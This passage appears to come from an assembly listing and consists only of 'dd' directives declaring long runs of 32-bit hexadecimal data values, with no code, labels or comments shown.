0E80AD82Ah, 0D1893D5Dh, 61AAB4E4h, 3C82E58Ah dd 9475F678h, 4C03D40Ah, 314EE99Dh, 0A2D87BD6h, 0C6F990B6h dd 0EF35EEADh, 0B66182CCh, 1A3994E0h, 7683B3A5h, 254FCD5h dd 5BF5BA57h, 0F1292E5h, 62210BDDh, 0C22AA59h, 0F6DC5025h dd 3A3C6A33h, 74FB0B33h, 12B4A35Dh, 19AC1574h, 83633974h dd 3B647B40h, 0C44D27E9h, 0E7849852h, 81452C06h, 6A6549F3h dd 0FAEB537Fh, 0E48AE330h, 81F255D1h, 37CD72A5h, 299A8C12h dd 0F93E75A9h, 2B1D5FF2h, 0F86367A8h, 2649EFDCh, 6D223C7Ah dd 0B35BEC7Bh, 0F6751CAEh, 0C2E9DC9Fh, 49B8CF9h, 0F7ABE091h dd 49361751h, 6E521C22h, 5287F0CDh, 93C49384h, 180875BEh dd 6E728B16h, 54C4814Dh, 0F11BDC1Eh, 0B2E2BD7Ch, 0AAB15FF3h dd 0C8C14079h, 1708D04Ch, 310D8745h, 94291E9Dh, 59961A54h dd 0CF3BA4AFh, 7D55B094h, 1AAA2251h, 0BD5E2BB0h, 0EDE5D5D4h dd 8AFED8C3h, 0D2618A5Eh, 0BA0698C6h, 8C691A9Bh, 0EBAC3952h dd 0D310D37Dh, 0FA44EA8Ch, 117D5BE2h, 69DB9C8h, 2524BCA4h dd 0EB23B6Ch, 44A798D1h dd 1D7D8C85h, 42BF6D2Eh, 0CDF52B72h, 3BFAB670h, 972A5D9h dd 89920F71h, 0F3B27544h, 48076CE6h, 0E2C675F7h, 7CEAC7CBh dd 0A5687F23h, 0AFB8AC01h, 27D8697Dh, 29903DECh, 0D71388CFh dd 0F3589A4Ch, 0B1792418h, 0B8A4ACC2h, 2E6EF14Fh, 59ACE7C2h dd 3A051357h, 8225D3AAh, 331F5DC8h, 0AC9F6E9Ch, 0EBDB06E1h dd 0CF411822h, 0FAF566C4h, 3574667Bh, 5A2D2D5Ch, 5E8CFA9Eh dd 0CC5B1892h, 0D20FD238h, 958F2A60h, 0CCAD3D41h, 0E3A071B8h dd 37E30FDDh, 83FB2BCh, 830A5943h, 39DF8E3Bh, 22D5CD6h dd 458A193Bh, 0FA62258Bh, 20A5E483h, 7D52A507h, 83227B09h dd 989E7948h, 0C6ED4666h, 6FEC552Ah, 5D1306F2h, 3BADDB2Ch dd 3C10F76Ah, 3B44BC3Fh, 0D1E206C8h, 79E4281Eh, 9826E831h dd 5C7FF944h, 1CBA9AACh, 93CC27A9h, 0D28CEC6Ah, 0C066D042h dd 91858CACh, 5E6DE299h, 0EA6241CFh, 57EBC5D5h, 0C615FC32h dd 0C12E6A02h, 2FD7B13Dh, 0D60764CCh, 0D0E55233h, 72F8FB87h dd 53318931h, 49939B47h, 7E0C930Ah, 0EDBA24Bh, 366A7F1Fh dd 0FEBC5CD0h, 0C4697B5Ch, 0A602A36Ah, 0F518B380h, 0E0F58CFDh dd 46A5D8DDh, 0BEAD2180h, 8EB152B9h, 0F97CC4A6h, 54E30A4Fh dd 0DB0FF441h, 6640071Ah, 53BFD49Fh, 0EC3655C5h, 90210E30h dd 44DAD70Fh, 0F77A044Eh, 0D110AD87h, 0E159FDADh, 0DF7FB478h dd 0F3DA03E3h, 614EB4EDh, 0F7D57064h, 3DD332B2h, 19052999h dd 0E0B9290Dh, 619137C8h, 0CD890A81h, 5963B56h, 6A8E9798h dd 0CD0EE44Eh, 6C639989h, 535FC2A5h, 0FA8C74DBh, 6260919Bh dd 0B6F1FC97h, 3D9857FEh, 0F755E742h, 0EAA87371h, 0ED9F016Eh dd 513D0CF8h, 6B78E015h, 0C4489ACCh, 1F13C39Bh, 0D98B0E02h dd 0D4C738FAh, 0A7CCA6DEh, 0FDD468CAh, 6C5A6D81h, 5DEAAB2Fh dd 7E441AFDh, 5F68C2AAh, 841E919Eh, 4516E1C2h, 0C9CF5F61h dd 34EE9DE8h, 0E22913B6h, 2E97BC54h, 56A942C7h, 0F5932BD5h dd 33D93E60h, 9704A78h, 58B23EB2h, 48E3B97h, 7815DAB1h dd 14D26BBCh, 0B4394D2Dh, 7139055h, 4E542DD2h, 0C0CB9812h dd 0CA7B1274h, 7E1EB4FDh, 0AC4E4645h, 0D956812h, 0E9FF760Fh dd 77642659h, 44C0B49Fh, 0C4D4B549h, 85EFD086h, 0E4FC2E83h dd 4067BC9Eh, 0D6928B0Ah, 0A96212D8h, 0CC6E6432h, 97A8BF4h dd 0A2FBCC6Ah, 0FB8444Dh, 0E7C440EDh, 0B7F80494h, 73DDA46Ch dd 82DE7B56h, 0C0B143D6h, 0FCDE5DE5h, 58EE04ADh, 0B7AFE221h dd 0AA72F06Dh, 1E4C908Ah, 0CBB52B31h, 64449D0Fh, 0B6791232h dd 0EC7A2C12h, 0B2592137h, 0DA1CACBFh, 91CB48FAh, 6B071628h dd 5FEDE267h, 5CFA6B21h, 0F1FBE74h, 7294CD02h, 9565DFD6h dd 0B86E01D1h, 7A543728h, 4E0181B2h, 0A6AEE771h, 25A61469h dd 7BFED6DBh, 6AD5075h, 0A305A8E1h, 9349525Ah, 19DB1297h dd 27D5EEBBh, 338D0657h, 6D5E5116h, 50AFD05Ch, 46B47877h dd 0DD707A9Ah, 0DA6EA993h, 4D63BDE1h, 60EE7C24h, 25B09E1Ah dd 7B4A5048h, 0AF46F901h, 0D78865DBh, 1ED8B22Ah, 98EF1C2Ah dd 4F5CA935h, 87FEB0EEh, 32763D12h, 0DF11805Eh, 979FD1EBh dd 8E4BF36Bh, 0B55812DCh, 6E36E70Eh, 23365F2Fh, 17356FC4h dd 1988B04Ah, 0F7BE2140h, 8363039Dh, 3D1A7760h, 8EC2190Fh dd 0EA71CFFEh, 589CE125h, 105F471Ch, 792C6732h, 0A1A4D57Ch dd 0C00E0BBh, 4826CF7Ch, 0FD00977Ch, 266A1A7Ch, 0EA568EA7h dd 0BE65A03Ah, 9F163DDAh, 9AD9C272h, 0F6646014h, 6ABBAFE1h dd 92E2B2F5h, 7FB59DA6h, 0E083A42Fh, 37BB5103h, 0A38A0956h dd 0E04B091Ch, 8EACFC70h, 0C8A54B65h, 13526A04h, 420BC58Dh dd 7C1D0B42h, 7EF0C782h, 79DCA603h, 1B065818h, 340FA788h dd 922739C0h, 6A480FF7h, 6C2A23ADh, 12535D9Ch, 1F8EA460h dd 1564F4E7h, 8875EC18h, 66B323EEh, 0B9E863BFh, 7151B3C2h dd 0F99ADA01h, 1133B9C8h, 3104208h, 0DCB639B8h, 0A0DA129Dh dd 2CBEFEF7h, 0BD675EDAh, 0FF03652h, 1E948E5Eh, 4829F8D4h dd 0D49A8C37h, 8DC2E49Fh, 2320CEF9h, 722B3BB9h, 0E7C66160h dd 51A10777h, 536003CFh, 41E40B0Fh, 1021A144h, 1F2690AEh dd 50F0297Ah, 80E55831h, 4249055Ah, 438B7196h, 0EFE2478Eh dd 842B36E3h, 387B49D0h, 542232A5h, 3F32722Bh, 0C5D76BDAh dd 6332600Ah, 3144166Bh, 0D7D49C46h, 0EFA394DEh, 7E940681h dd 0BD7E715Ch, 284BDF66h, 0E1A7E550h, 2487A4D2h, 0A0DCE677h dd 2BEC73BCh, 0EED3C610h, 0B2B55B5Dh, 6DDB571h, 0F7E9118Fh dd 0E1D31739h, 83396142h, 4282200Ah, 0B85D5BAFh, 3BC2E40h dd 0BCBBD03Ch, 0C8384D5Ch, 22C1A964h, 0F3952B5Eh, 9A5EFCDBh dd 17B99FA5h, 90BF1F23h, 9573F8E2h, 73860AA8h, 98443F45h dd 63F21464h, 7F209BAAh, 74231D34h, 0F495E868h, 0FC34B5D6h dd 0E131A3AAh, 0C080D32Fh, 7D4D863h, 33D9ED50h, 3EC60850h dd 1740F90h, 2297633Fh, 1F983A05h, 45789CACh, 0D64CB25Fh dd 36B0B8E7h, 9AE02852h, 9F655206h, 0D773B0F7h, 330DFC5Dh dd 0D188DC42h, 2ABD1A15h, 87938135h, 2188C52h, 9BD7ABE4h dd 3AEDAB86h, 16D91439h, 5377D696h, 5F0A26D6h, 52DFC189h dd 9350CB47h, 0A16294A3h, 4A747ACAh, 2A589EFAh, 306D3E4Fh dd 0DA2C3A36h, 1B7E9B90h, 306AB0C4h, 0BBD58E7Ch, 0E2931FEh dd 0C9C4E60Ah, 0B125945Eh, 49F8080Ch, 0B2D12374h, 3A1FF9AFh dd 0DA84A9A4h, 44EE0DDBh, 6841292Fh, 57AFB904h, 1D6DF6Ch dd 202FD5E8h, 0A210618Dh, 4EE5A0E6h, 3D84B0ADh, 0F896B118h dd 0D46BF885h, 438B5134h, 0CE6B6A30h, 7727EEF5h, 33D23D59h dd 6AD0D242h, 0C04BCC4Eh, 0FB20469Ah, 17071526h, 2F4C8FB7h dd 0BA9E4C32h, 0CFCE681Ah, 38E1A3C4h, 81238D5Bh, 8F6FA594h dd 2C55E7A0h, 0AD0F1175h, 0A6934723h, 0F1422CEBh, 880B9FC4h dd 726FB7DBh, 0DD618102h, 32F8568Eh, 0AA09F5F6h, 566CF822h dd 0EE5DBFF9h, 0B5900463h, 0C1E560BCh, 8ECF594Dh, 4E95B24Fh dd 0A9891B47h, 0AD222EF0h, 0A7653E4Ah, 0B12C88DCh, 7F9B06FAh dd 5C9A28F6h, 747DFB06h, 8298DC53h, 2144638h, 1881542Dh dd 4A50D32Bh, 3C8F0968h, 7D9D1D6h, 0F5087B08h, 41221F65h dd 0B91C9456h, 913DA152h, 0C804D008h, 0AD6C2B81h, 1913C40Ah dd 311B89Eh, 2E11CB02h, 7879C137h, 0CBF0D22h, 0B3B07548h dd 6BEB8848h, 0B2BC2B64h, 0EBC342BAh, 3B82CD58h, 0D1F0F8D1h dd 51E01268h, 0F8DA6F9Bh, 2C3D7B00h, 536C8C89h, 23ABE039h dd 0B1D7A5FBh, 0D56BD88h, 0D8DD88BCh, 12738BE3h, 0A48494CFh dd 927D259Dh, 0B7F9A26Bh, 0A80EA32Bh, 32A71668h, 0D14E5424h dd 0F0061594h, 0FEF98481h, 5EFFF3AFh, 0D59CFD93h, 0B51BBBA9h dd 5FA50B4Ah, 0A460CF03h, 31673EFFh, 0AD627BAFh, 0BFEC55E5h dd 14B1AF7Fh, 0C2619E98h, 0A6C089F2h, 0A47924DFh, 0E8BB74A3h dd 0D8075D9Dh, 9164B195h, 0EB70E1E3h, 0E08B6FEh, 0E89874BAh dd 591E3C5Dh, 25D9077Ch, 29D5BECFh, 5FD64DE3h, 0E9AF289Dh dd 4D5F7FD9h, 580346FDh, 0A5F8F4D8h, 145DBA64h, 0DBB3EF92h dd 0B6B928FAh, 44E22405h, 0F1CF1BD5h, 6E5AEDA3h, 5202FB41h dd 1D851830h, 5FBD20D2h, 0FDBCFC78h, 0EFA9B433h, 215C2BD8h dd 0FB06CC91h, 5083CC34h, 0FA0A92ADh, 24BD9240h, 0B02D1530h dd 0AE3E5F80h, 0A302F6E3h, 0A8762B8Ch, 0DBFA4030h, 2D7A6Ah dd 147B09D6h, 0F7116585h, 82204128h, 0FC4F7A67h, 0E65C5079h dd 5C73C1B8h, 7037335Bh dd 8A539CF3h, 0DB6092F3h, 0F8B7D309h, 32ABD868h, 9DAEA9BBh dd 43278735h, 92A650DDh, 508276BEh, 1B5B6115h, 0DAC670E9h dd 2A788919h, 8CA69987h, 0DC559041h, 94AB2D6Bh, 0E8094875h dd 0A7441429h, 0E7E7915Ch, 53F87B22h, 84C982FEh, 0B5CEA964h dd 504CAD1Eh, 0C60585E7h, 4A525F89h, 0EDAC4011h, 3C2B858Fh dd 0CE7F5786h, 0A871C052h, 0AC544264h, 0E6162D33h, 9C76C1DEh dd 9987518Fh, 0BF99CAE4h, 0F91E965h, 0B324B164h, 96FF0A3h dd 0CC9B8D81h, 945B5BFEh, 0B26783F4h, 0BEF21DA3h, 81BC90E2h dd 3F77A1D6h, 2AB3EF18h, 0C4802ECFh, 0E6CDE970h, 0F61525F6h dd 0BA8F82F8h, 2FC3C569h, 0A1E065A7h, 0A89AB371h, 21F0E64Ch dd 828F532Bh, 0E1E07F1Fh, 459B2B17h, 0D4BFCAA6h, 7582E7Ah dd 165A6A66h, 87EF0CA8h, 88A1148Ah, 77100C14h, 93A94D72h dd 0CA9F75C6h, 7584B139h, 180562A5h, 95385B40h, 37883E6Ah dd 0FC9DAFAFh, 0A6D25A85h, 76319BD2h, 97195FCDh, 14B7B561h dd 820E5D79h, 0C8067F60h, 0B77D3EF3h, 0C0A3BF0Dh, 5EACE293h dd 31616DBBh, 44C6B5D9h, 69074B5Bh, 2CA40E21h, 1D1AB88h dd 80F31929h, 0C96AF82Ch, 0A59DA559h, 5E36E937h, 0C393F0A2h dd 5F843340h, 0F14A4C8h, 32DA4C26h, 5EDB9D46h, 0DE35AEDAh dd 64BF9AD4h, 82601014h, 1BE241EAh, 65A7006Ch, 84D21C9Ah dd 0EDB87F7h, 524222Ah, 71D772FBh, 0D47713E1h, 39DEA56h dd 76A09B48h, 4880BA67h, 1AB0A87Eh, 0E9D3C362h, 47BAD504h dd 0A333408Ch, 0F34090B5h, 0D21B9691h, 86E2E6F1h, 4512E92h dd 0C7602F38h, 9C263444h, 0D46AE3CFh, 0EC915ADFh, 5BDD4CD4h dd 3E35A358h, 31C00402h, 7AF09C37h, 0D2E6D141h, 51420685h dd 0B413776Ah, 93FEA505h, 0EBAD983Dh, 3AAFBD70h, 0B28CB7FDh dd 2231DDA4h, 6FCA6683h, 0E7CC1960h, 899136C5h, 0E2C9697Fh dd 0D73C6285h, 0D45374F5h, 8E3D97B1h, 2365BE5Ah, 5D695D62h dd 897E0124h, 9A47C50Ch, 8E8F61F3h, 0F0C0906Bh, 750E9C1Dh dd 0BD56C5F8h, 0FFB7289Fh, 0FA5445D3h, 0F232964Eh, 76CFE415h dd 278A4986h, 4A65447Eh, 57B4A466h, 8D657990h, 6C2BA05Ch dd 4E2EAD5Ch, 7648C801h, 50338399h, 694C44B7h, 0F46DBDEAh dd 47B92F65h, 69BB15B6h, 645A6838h, 0CAFC3012h, 87B15311h dd 5E113E95h, 45750C73h, 0FF6AB87Ah, 8B094A2Ah, 48DA9872h dd 0DFE0368Dh, 0A99FFC80h, 81C46261h, 93ED75AAh, 7C922626h dd 0C33F405Ah, 0D81A528Dh, 0CB79B746h, 2A34CFF6h, 22A99367h dd 294EBF55h, 9A960A9Eh, 0B0D6BE66h, 344406F3h, 46B8A02h dd 9DF7E064h, 0F9F06FFBh, 0CA9418E6h, 1914B595h, 0EE030EAFh dd 0A885BB0h, 0D64D6C89h, 27655765h, 0B9420685h, 0E147A39Eh dd 7BAD7091h, 9E91B94Ch, 0FDBF266Fh, 0E13E093Eh, 6D27747Ah dd 0E6C735B6h, 1A28D967h, 62390BCFh, 346A3DFBh, 3B306198h dd 41D39102h, 8EF14D14h, 9779CFCFh, 19FB320Bh, 9CA3707Dh dd 0C7AED730h, 86D038ACh, 0FE653DCDh, 85105C60h, 0F35E1D01h dd 25316EBh, 6355CA47h, 666B8307h, 8EA7AC2Bh, 953A7FCEh dd 0D1F5D777h, 63058700h, 8A16DE5Eh, 869AAD26h, 484006A6h dd 0C6806F16h, 36F27D53h, 32BE520h, 0D4C61187h, 6A059217h dd 42D1DF27h, 0BC64CF44h, 105FED34h, 6E50938Eh, 0D441F0E2h dd 88ABEBB8h, 4800FD12h, 3483E7E7h, 3D2B27F8h, 596E206Ch dd 900BA05Ah, 97E320E9h, 238976A5h, 9C2D11CEh, 0F6C9F1BCh dd 9D52AA37h, 2A19E37Ah, 0D7BF9B46h, 314AD2FBh, 0F2980728h dd 7DADC75Ah, 3489B740h, 83F989D2h, 694F6C6Ch, 0D739DBEh dd 96005503h, 8705C035h, 0A24917E1h, 0C97EE44h, 0E804C636h dd 0A954BAF1h, 0D2FB9B79h, 0FCFB0E79h, 18689981h, 0A970D487h dd 1482333Ah, 11F91D36h, 0EDE4E1B5h, 53ABD764h, 0AFB3805Dh dd 0B6D32EB9h, 0E1BCA165h, 1B9E681Ch, 4A52B6AFh, 72BB8866h dd 3778902Eh, 0BC7C9753h, 37355D45h, 53FA00A2h, 0DD3AC4C9h dd 0B48235C2h, 440EF8B0h, 36E469DEh, 464B184h, 0B3D7CEECh dd 0F7B8853h, 0E25012A2h, 5F78C1E8h, 56E84EA4h, 4815892Ah dd 0AA84AD3Fh, 0C6AC358Ch, 0BB466D78h, 2022AE4Ah, 109142BAh dd 690E2B5Ah, 74967DDDh, 2AB06CCh, 5F94F496h, 0E6EFA9E4h dd 0E31DBBA0h, 6D52D514h, 0B27E62BAh, 4C98C0A5h, 494D3302h dd 0F9417A8Dh, 2F81C0FEh, 0EB63B50Ah, 0EAEF34DAh, 4E2E481Bh dd 3A77754Ah, 0E8C7251Ch, 0CC577C58h, 0A0FC660Ah, 85CF877Fh dd 0F86BC016h, 7BE39F26h, 0E97AC3CDh, 7BAB3A43h, 5C58F84Eh dd 0F2AC316Fh, 9B05F9C5h, 15E57F85h, 0E2E0ADC9h, 4CE09228h dd 523C29Ch, 0AF6BC8A4h, 0E13F2539h, 0EC6FCE18h, 6B1A9693h dd 13427699h, 1A20B66h, 444A55D1h, 9DADA9AEh, 0E2C84915h dd 0E575C776h, 8DCE78F8h, 0C1CB2B8Dh, 0EEAC696Dh, 0F4B3EDACh dd 5EFE477Ch, 0DBDEC192h, 6FE8AF97h, 7200BF62h, 0CA805CB0h dd 264957F2h, 0DBD675B4h, 89165092h, 6A178FA9h, 0C45890B9h dd 120B9425h, 0D570AFD6h, 457E578Bh, 0B553CC8Dh, 0FB5D6694h dd 0B0651A2Ch, 0AADCA807h, 839F3A82h, 0B41BC6BBh, 5A3DE3Bh dd 390F38Ch, 271791E9h, 0AFF48F5Dh, 0F0710C9Bh, 9C9409CDh dd 2E12A9C6h, 8A0DF34Ch, 997A9FCAh, 0FF27FDCBh, 0B140A852h dd 6FD55C7Fh, 97EB58BEh, 53A5C3Dh, 89EE6930h, 0ADECD53h dd 6103F17Ch, 335D959Dh, 8D15868Fh, 0BAB89E3h, 5B037F5Eh dd 0AD4D5B9h, 900E7C0h, 0C6DACDA4h, 0F74310A6h, 0C09B436Bh dd 289A66F5h, 6E98654Ah, 0F27D8A0Ah, 2F27F90Dh, 0AEF5E0ADh dd 0F1EB497Dh, 0CBD2362Dh, 6E507F94h, 0DB591450h, 0AE0FACE3h dd 0EEB17540h, 9E002EF1h, 0A3D39A65h, 6542372h, 0B1CA4799h dd 0AA7376F3h, 61902996h, 25F4DEFAh, 0B2136B2h, 0BBCC4C48h dd 2952D1C4h, 8EE6FD0h, 53BDE730h, 4CED36FFh, 0CDF76BF3h dd 0FA1241D0h, 0FE62D7E0h, 3A511FDBh, 4F6E8C88h, 5BAAA59h dd 0CD6A9870h, 8FA208ECh, 0ED8F4BE0h, 68FB9E1Ch, 0D2515CE1h dd 0FAB33C5Ah, 84A735CBh, 0B578903h, 0D567BAA2h, 84FB96C1h dd 6663EEE6h, 6CF6AE69h, 62336888h, 5252C685h, 9057EC04h dd 0CF148CE7h, 2DF813FEh, 0ACD6648Fh, 799CD8D4h, 0E051E992h dd 0EFA6CE3Fh, 0DAD9753Fh, 0A90F296Bh, 46A151FFh, 0A31ABE94h dd 14B75DEDh, 0A240673Ah, 0CD59D398h, 0AC52624Bh, 1F2B993Dh dd 48945B69h, 707C0CF1h, 1C17F8A4h, 8B7BF4AEh, 93C07424h dd 0E4D01D5Eh, 0FA5B9D9Ah, 0C7661B1Dh, 455AF07Ch, 0F57D592Ch dd 34CF7B03h, 1215D107h, 9C3177F5h, 0FBA237BAh, 490EDE72h dd 7181118Fh, 295959B2h, 0C4B9AA67h, 1AD09B82h, 0FCEFC8DCh dd 0A81B7C41h, 0C6F9FDD1h, 159FB0DDh, 3F599F72h, 116FDCE5h dd 5F12A3B6h, 74E93154h, 0DC827391h, 0CDC61240h, 77CF24FFh dd 5392A4BBh, 0A1E3E1F3h, 0DB12E453h, 38C60AA1h, 81004280h dd 4E1799E6h, 0B8F7F956h, 973A83F6h, 0F1DD568Fh, 0EFACF72Ch dd 16F95500h, 6B98C7F4h, 692C71C4h, 0FDF75910h, 4853620Ah dd 0FB332D47h, 60BBCDCAh, 0BEBEDD45h, 41C717E3h, 724C7112h dd 5B088F5Fh, 0DE3F0D9Ah, 58E6A562h, 0D5C98ADBh, 0FD38564Bh dd 0B4A2D10Eh, 44E438DFh, 4DA77F2Eh, 51C99087h, 6D96821Ah dd 0C035538Dh, 4C9A53CEh, 18852313h, 7445FADAh, 2EFF8B2Fh dd 0F987D6D5h, 2772CDD1h, 1D1C10Ah, 72D76BA7h, 4B2DB07Eh dd 77488783h, 80465C6Dh dd 44C0C682h, 0E56ECE25h, 0D9F8475Ch, 20CD5D9Ah, 673EC600h dd 0D62E95BAh, 9BEC3B02h, 0BAF63B83h, 0D9C697FDh, 0DE3720D9h dd 77F9B752h, 80533FE1h, 34412B7Eh, 131BA31Dh, 98329C7Fh dd 563E081Fh, 858B4279h, 4AB2BF1Ah, 0B4F8B69Dh, 0B6F985D3h dd 4B289B33h, 3DFDF750h, 187F92EAh, 36B5622Ch, 38F2661Eh dd 2EC3EE8Ah, 7D714229h, 0EF5487DAh, 0DBBCE81Eh, 5B24444Fh dd 0B5473DDCh, 6D494A84h, 0CF4C8D2Dh, 0C11AC98Ch, 1E278F3Ah dd 1B22E573h, 0D7FE3CCAh, 63D7DAF8h, 1B13C93Fh, 0BE62F4EDh dd 32B631D6h, 0DEE8CAD1h, 5202FE79h, 48ED276Fh, 8176FDBBh dd 0B1E752E4h, 0AE0ED9BFh, 0A096D76Ch, 5D5630B8h, 34B726E1h dd 9E2914BDh, 0E6CB2A41h, 81C56B6Ah, 0F384E701h, 9950EF92h dd 0D7CD8499h, 266048Fh, 3F0B7567h, 1DBC43ADh, 17717DA3h dd 9D148C34h, 65BB554h, 83F81C52h, 76DB2323h, 1C9B485Fh dd 7DDBAFEDh, 0AE099BF5h, 0D3504854h, 729CD941h, 9E208BEFh dd 9EF757F6h, 0E250945Eh, 8CB2D0C1h, 0B0E56A95h, 93B52DF7h dd 43515967h, 9AEB0101h, 3C4F6163h, 0F12FFCDEh, 0C707BBB4h dd 0E4A5A269h, 5AE151C5h, 18A3715Bh, 7EC48373h, 0A6045624h dd 0F3A0339Bh, 8FCFDCF2h, 0A22D0742h, 4116B8CAh, 34F53AA5h dd 70D3563Ah, 0CAB87A03h, 0BF1F0505h, 0C2CF90C1h, 85AF1E7Dh dd 0E2D84C9Fh, 8A6CF9CBh, 0BB6B5EDCh, 0B78BC36h, 433CB356h dd 83EFAF22h, 8477EF50h, 15D8D124h, 550E4AEAh, 1C45C5EAh dd 99790025h, 0CD1DDEF2h, 570498FAh, 24B1B51h, 0A8CB9BAAh dd 689B92EEh, 56F5753Ch, 9C548105h, 0E4E19FACh, 90AF96A1h dd 627FA53Eh, 97A0D086h, 0A37ECED9h, 4C7FFA7Ah, 0FAA0F102h dd 0DAB46821h, 0F10F6C24h, 6387762Eh, 93227A8Ah, 36DAFAB3h dd 0DB79796Dh, 2DD6DF71h, 6355E3C0h, 6951B1C2h, 220CA7D6h dd 0E7BC41B5h, 69263BE9h, 0CDFE121Eh, 0E90B36BBh, 878ACC8Ah dd 7DC8DB13h, 81B055CBh, 0D0FB3D60h, 0FC954B43h, 0BA0FE4E7h dd 0BFAE8B77h, 55DA17C8h, 0EED6CA9Ah, 0B11C2AA3h, 0E0BA5A91h dd 3A37FF0Dh, 0C49B46B2h, 53BF2B8Ah, 2EE87E97h, 0A65BF12Bh dd 0DED8884Ah, 0A483BD76h, 5C12A495h, 0D6DE50DEh, 65BD9F26h dd 530E0380h, 77B9751Ch, 0E00F29DEh, 0ABDD42BEh, 237D4436h dd 8C26AD6Ch, 0E9D8081Dh, 0E29E2FABh, 829D4DB6h, 19485BFh dd 0FF2EAD21h, 8E41BADEh, 750BA7DDh, 80AEF581h, 0B143246Ah dd 34E06CBh, 85D55560h, 74339006h, 0B6D63749h, 0F37B2958h dd 42D8E585h, 86CFE872h, 972C9B65h, 8AEEF36h, 0C864F073h dd 7E37877Dh, 8D0EC09Bh, 0C99669EDh, 0AA81D817h, 0A29F041Bh dd 0B52C8D10h, 870218E7h, 45ACF076h, 7FC6A697h, 30D6A785h dd 44093D38h, 0D734F272h, 99699D87h, 0BA08DDBDh, 0B15BA262h dd 0C80F3ED8h, 5417A404h, 0C1FDB8CFh, 0FC72932Dh, 5460D14Dh dd 73C4C221h, 45124449h, 9A7268F9h, 5A2A5584h, 0C6270E9Fh dd 1AFED006h, 38892960h, 0F7FF0855h, 8B8AF66h, 966ED848h dd 7ED7B73Dh, 5C9C95B8h, 347709DDh, 0A3F1B7BAh, 0E9F7968Eh dd 0A80E676Ch, 0D238135Ch, 31C7925Eh, 0B7BEE65Eh, 0C67B8F4Ah dd 0ABD6511Fh, 7F7A9A5Ah, 81AA8315h, 80670601h, 0A6EE7D2Fh dd 1CB45A5Eh, 0E7949859h, 4AA42A29h, 1E1C3B4Ah, 1C3481C3h dd 0F30DF3E0h, 0EA807406h, 0F0DFC4A3h, 0A99E97E4h, 0CB7C10A1h dd 1B73A9E7h, 51962A5Eh, 9E9A7B4Eh, 0E7B5869Fh, 0DDFFF53h dd 83873DA0h, 0F744F445h, 0EDFE8DA7h, 0E2E93478h, 3548639Bh dd 0C8451E6h, 2D78B621h, 5D3CA9E7h, 0FD75536Ch, 0FE7D06EFh dd 19184101h, 55E67330h, 9369D382h, 0F050D52Dh, 0DA0600FAh dd 0EE452B39h, 0B872D441h, 0FAF0D5A6h, 0B88B8770h, 3C0C62F9h dd 0C18D3E4Ah, 9338A429h, 0D4FC44CAh, 491EA589h, 882615Ah dd 0AAC58758h, 0DAEA92DCh, 4CFCF5F7h, 5AFB63F1h, 0A2FFB8B7h dd 3DDB8B28h, 539FF38Ah, 24A0B2A6h, 0ED26AB91h, 0B821F592h dd 0F3383930h, 7A05FAB3h, 79D209AFh, 0A9F6FF2Eh, 835CBDC8h dd 1AA39B87h, 294378EEh, 581AE765h, 70B399D1h, 4F8ED41h dd 83ED2259h, 5A8C12A0h, 50455356h, 0DFFC39D7h, 0E6CB1447h dd 5F6C3497h, 0D7384575h, 0EE8552AEh, 249E24B9h, 0AA08313Ah dd 0E76DDBEEh, 0A60504ABh, 0C888F857h, 0D1B935Dh, 8177E703h dd 9B0838A4h, 0E0650251h, 4FEB3FEEh, 84B71A16h, 9F859C60h dd 0ED42FE30h, 8EBB62CDh, 0C8E347BAh, 0CC4D73F9h, 0F8C2460Bh dd 8325E8BCh, 0E0BFF8D1h, 1832D82Ch, 4AA0B2Ch, 67D466C8h dd 0FD98CE70h, 0C1B3FFADh, 0E6ABD20Fh, 0A8058638h, 30AE1E4h dd 9C8E20E6h, 46DA1E33h, 0A2373B7Eh, 1E57416Bh, 0B4D649C9h dd 1E377A77h, 4877B283h, 27CD5695h, 0FC585CBAh, 4E86CABBh dd 6EE5FCE1h, 6396290Bh, 0D0D8E7E4h, 0F5718E8Eh, 0B684768Eh dd 0C37F2323h, 3692863Eh, 7015363Ah, 655C1DEFh, 0FDEB6D2Ch dd 0F24C8A4Ah, 884209E1h, 5549945Ch, 48F7492Ch, 0AC2CA62Dh dd 0ACEE10A9h, 256510ACh, 0AF316E84h, 62C473EFh, 0E865D37h dd 0C40CC447h, 0AE288B8Eh, 12BEA166h, 57F5C7FCh, 0D2F8FE1Fh dd 7BFF684h, 79A87B2Ah, 1FFCE68Fh, 8ECE1A11h, 0AC4261BDh dd 4EC40875h, 34982898h, 8B6847B7h, 42ABD42Eh, 0CDDCC4C7h dd 7BDC8983h, 420B7B08h, 5B5563AAh, 6C228CA2h, 2609923Eh dd 0E1F4A2E4h, 97D88CEBh, 1D4AA895h, 8B20E621h, 4EDDE5D5h dd 2FAF7679h, 4C14938h, 7C4D7ACh, 4D7B6FC8h, 8BF12241h dd 8517268Ah, 7BE67AA8h, 13BC9431h, 0B0E033Fh, 29B2886Bh dd 5CE69912h, 0AA94DB73h, 7AA4B1B9h, 0F6B957Bh, 6B3B5C28h dd 652EC62Ch, 0FA52CFEBh, 0F76F75D2h, 8E4A67A1h, 0EC746ED6h dd 699F3DE6h, 3AC3DD78h, 18911DAEh, 0FFA918B0h, 7205EBABh dd 1A180FFh, 3A52FBF4h, 0EFA3F615h, 203DD22Bh, 0D3F3B7F4h dd 0B9A85D83h, 43EC3AE3h, 0F2098229h, 3904D859h, 0D5B2FCDDh dd 390D1EAEh, 777EB4B5h, 24C107FBh, 0B2973876h, 2D63334Bh dd 0CAFFC6h, 0D89C529Eh, 4F495DBCh, 69FE2EB0h, 833F16E4h dd 1FF8054Bh, 0AA7DC882h, 0EE204449h, 0AA7A0D60h, 124C4033h dd 0C25681EAh, 0DB101A3h, 4B6065BDh, 0C72FA696h, 0EFCF3B1Fh dd 0B499ABEBh, 845F01BEh, 5A1CD55Fh, 0A87B86AFh, 53B777D8h dd 3F7C1200h, 0E5DBB50Ch, 8665A51Fh, 0DD1B7872h, 0FF5DFDC0h dd 0E16391C4h, 4DDC0F90h, 83BFA76Dh, 9F5BC5Fh, 0D6B2E56Bh dd 7160C8AEh, 0AD1420EAh, 2A752165h, 0D0ABB7F8h, 4D7B94F0h dd 650FBAE3h, 90C27E12h, 315CFAB3h, 6C69A86Fh, 56EDAC25h dd 59F46B5Bh, 74D69184h, 802DEB90h, 9066984Bh, 19B39C38h dd 6DFDB4Fh, 0FE8240D2h, 1230B9Bh, 0FA79C419h, 0D4222126h dd 8A9FD589h, 77304AF4h, 0BB4EC7F6h, 0E8239248h, 994AD000h dd 43E3EBAEh, 0DCF53096h, 3CEFEDD7h, 0E85B3D8Dh, 407FEEA6h dd 0A586B5D6h, 0E803859h, 0A9A68F84h, 